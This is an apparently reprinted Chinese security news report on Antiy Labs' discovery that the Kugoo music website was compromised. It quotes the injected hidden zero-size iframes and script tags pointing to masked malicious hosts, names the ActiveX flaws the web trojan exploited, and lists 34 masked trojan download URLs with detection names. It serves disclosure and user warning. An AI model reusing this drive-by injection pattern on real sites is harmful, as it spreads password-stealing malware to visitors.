酷狗网遭遇黑客入侵 用户小心病毒暗流(图)

竹木刀

4月16日，安天实验室发现，酷狗网(http://www.kugoo.com/home/)被黑客植入病毒，用户如果访问该网站，系统就会自动从恶意网站上下载并运行恶意程序。被感染病毒的用户系统可能被远程控制，盗取用户敏感信息。甚至导致死机。 该网站问题代码：
( G. R2 N! T+ [& ]# i/ a# T* i
7 q1 K$ p1 P8 T

src="http://ring.ku***.com/cairing/BuildJs/HomePH.aspx"http://ring.ku***.com/cairing/BuildJs/HomePH.aspx

4 t: w  u4 |* K& B3 [& h问题框架代码：
& g2 e* w2 Y8 y6 ^$ c
8 c! e- w/ B3 Q
) J! R+ c) b1 a6 @& J: S
/ h. S8 S% e- {- g# M

<iframe src=http://s12.bm***.com/tmp.htm width=0 height=0></iframe> http://s12.bm***.com/tmp.htm

问题框架代码：

2 Q4 k; w+ B' j: w% V7 {+ L  U7 {
  T( `, o+ Z" z1 W! a# O

<script language="javascript" src="count.js"></script> http://s12.bm***.com/count.js

) g5 Q% }( |$ `% P. [2 o# f问题框架代码：

' F; @8 _; s3 H2 Y: M2 v

<iframe src=test.htm width=0 height=0></iframe> http://s12.bm***.com/test.htm

, S4 n# u1 |/ O9 j% H0 x" a该加密网马解密后可知利用以下漏洞来传播：  
& r7 n4 i) B3 A, i; v% N9 H

MS06014漏洞 (clsid:BD96C556-65A3-11D0-983A-00C04FC29E36)暴风影音播放器MPS.StormPlayer漏洞RealPlayer播放器IERPCtl.IERPCtl.1漏洞迅雷漏洞百度搜霸漏洞联众世界游戏大厅所安装的GLCHAT.GLChatCtrl.1 ActiveX控件漏洞

* k+ |# e3 N! c, r7 b当用户运行酷狗2007或访问酷狗网(http://www.kugoo.com/home/)时，系统会自动下载以下病毒文件：
; L4 w, l4 N  m. H) B( b' x

http://aa1.us***.com/down/1.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.zso)　　http://aa1.us***.com/down/2.exe　　病毒名：(Trojan-PSW.Win32.OnLineGames.zso)　　http://aa1.us***.com/down/3.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aafp)　　http://aa1.us***.com/down/4.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aaf)　　http://aa1.us***.com/down/5.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.zjk)　　http://aa1.us***.com/down/6.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.anv)　　http://aa1.us***.com/down/7.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.anv)　　http://aa1.us***.com/down/8.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aadu)　　http://aa1.us***.com/down/9.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.zso)　　http://aa1.us***.com/down/10.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aaog)　　http://aa2.us***.com/down/11.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aadz)　　http://aa2.us***.com/down/12.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aafo)　　http://aa2.us***.com/down/13.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aaed)　　http://aa2.us***.com/down/14.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aaed)　　http://aa2.us***.com/down/15.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aaed)　　http://aa2.us***.com/down/16.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aaog)　　http://aa2.us***.com/down/17.exe　　病毒名：(Trojan-PSW.Win32.OnLineGames.aaig)　　http://aa2.us***.com/down/18.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aaog)　　http://aa2.us***.com/down/19.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aaog)　　http://aa2.us***.com/down/20.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aafa)　　http://aa3.us***.com/down/21.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aafa)　　http://aa3.us***.com/down/22.exe 　　病毒名：(Trojan-Downloader.Win32.Tiny.anv)　　http://aa3.us***.com/down/23.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aafa)　　http://aa3.us***.com/down/24.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.xmp)　　http://aa3.us***.com/down/25.exe　　病毒名：(Trojan-PSW.Win32.OnLineGames.xmp)　　http://aa3.us***.com/down/26.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aaes)　　http://aa3.us***.com/down/27.exe　　病毒名：(Trojan-PSW.Win32.OnLineGames.xmp)　　http://aa3.us***.com/down/28.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aasp)　　http://aa3.us***.com/down/29.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.zvr)　　http://aa3.us***.com/down/30.exe 　　病毒名：(Trojan-Downloader.Win32.Tiny.anv)　　http://aa3.us***.com/down/31.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.yip)　　http://aa3.us***.com/down/32.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aafg)　　http://aa3.us***.com/down/33.exe　　病毒名：(Trojan-PSW.Win32.OnLineGames.aafq)　　http://aa3.us***.com/down/34.exe 　　病毒名：(Trojan-PSW.Win32.OnLineGames.aafq)

& ]8 f. N. n4 s1 ~2 P+ z, x6 h" y以上病毒文件为下载者木马和游戏盗号木马，自动运行后将会，盗取用户敏感信息，甚至导致死机。由于下载数量太多，这里不一一分析。